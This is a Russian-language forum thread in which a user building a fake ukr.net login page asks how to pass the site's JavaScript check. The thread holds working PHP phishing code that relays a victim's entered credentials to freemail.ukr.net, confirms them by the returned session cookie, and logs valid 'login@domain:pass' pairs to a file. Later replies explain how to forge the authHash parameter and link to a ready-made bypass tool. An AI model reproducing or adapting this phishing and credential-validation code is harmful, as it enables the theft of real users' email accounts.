Делаю фейк ukr.net с проверкой авторизации. Идет отсылка на сервер данных, после чего анализация ответа и на основе этих данных уже выносим вердикт: верен ли пас или нет. Проблема в том, что хост проверяет наличие включенного javascript и если таковой не оправдывает ожидания, то вообще обрубает нахрен все попытки отослать запрос на авторизацию, мотвивируя тем, что без явы у вас ничего не выйдет путного. Вопрос: как можно "объяснить" серверу, что у меня ява-таки включена путем отсылки заголовков? Спасибо
Смею предположить, что используешь PHP. Как отправляешь запрос на сервер, соксами или с помощью curl?
Сам скрипт отправки: PHP: <?php $login = $_POST['login']; $pass = $_POST['password']; $domain = $_POST['domainname']; $login = 'helloworld'; $pass = '123456'; $fp = fsockopen('freemail.ukr.net', 80, $errno, $errstr, 30); if (!$fp) die('<p>'.$errstr.' ('.$errno.')</p>'); $data = "backURL=http%3A%2F%2Fwww.ukr.net%2F&Challenge=17b4577ec6c587490be96663f27bc9fb&Submit=Submit&Login=$login&Password=$pass&submit=%D0%92%D0%BE%D0%B9%D1%82%D0%B8"; $headers = "POST /q/splash HTTP/1.1\n"; // отвечает за тип протокола! $headers .= "Host: freemail.ukr.net\n"; $headers .= "Connection: close\n"; $headers .= "User-Agent: Mozilla/4.0 (compatible; MSIE 8; Windows 5.1)\r\n"; $headers .= "Content-Type: application/x-www-form-urlencoded\r\n"; $headers .= "Content-Length: ".strlen($data)."\r\n\r\n".$data; fwrite($fp, $headers.$data); while ( !feof($fp) ) $line .= fgets($fp, 1024); fclose($fp); $auth=0; $text="EPOSTMAILSESSIONID"; if(preg_match("/$text/i", "$line")) {$auth=1;} else {$auth=0;} echo $line; if($auth==1) { $file=fopen("base.txt", "a"); fwrite($file, "$login@$domain:$pass\r\n"); fclose($file); { header("location: http://mail.km.ru/folders/folders.htm");} }else { header("location: index.php"); } ?> Скрипт выведет ответ от сервера. Там все видно
наверняка там яваскриптовый код , при нажатии кнопки входа он исполняется и какому-то параметру в hidden поле присваивается значение, которое говорит о том, что js включен. Соотвественно, если js выключен - то этого значения не будет. И уже скрипт на серваке смотрит есть ли оно или нет. Поэтому отследи все параметры передаваемые на сервак при авторизации.
ща глянул... Там по ходу если что-то такое и есть, то в самом скрипте происходит т.к. нету вообще никаких опознавательных знаков, которые могли бы свидетельствовать о каких-либо проверках и тому подобого. Тупо blablabla код 'Пожалуйста, включите javascript' и т.д. Никаких проверок я не увидел. Видать, на сервере процесс происходит
Пшкела, немного не то имхо. Мне не нужно ничего делать с этой страницей. Мне нужно дать серву понять, что у меня включен яваскрипт и все. Ничего делать в итоге мне не нужно. P.S. Он определяет наличие включенного яваскрипта сразу после захода т.е. без всяких нажатий. В коде не могу ничего найти. Помогите, плз. http://ukr.net
ты в исходники-то смотрел? Там один сплошной яваскрипт, начиная с определения языка и etc. Кнопок он не жал. А их жать и не надо
http://rapidshare.com/files/260020104/freemail.ukr.net.rar.html antiJS - генерация хеша authHash к паролю и Challenge freemail.php - curl + авторизация POST запрос идёт в виде Code: backURL=&Challenge=45f2db951ba1cae4773a07618d5c5b65&Login=login&Password=&Submit=Submit&authHash=115dc32c36cf731600a96ec1d1f6eecd&x=44&y=15 где authHash генерится из Challenge и Password x и y судя произвольные переменные
Спс. И ты мне говоришь "руки не из того места". У меня не 20 лет опыта программирования, а всего лишь пару месяцев... я даже понятие не имел, что там можно вообще сделать с этим. Ещё раз спасибо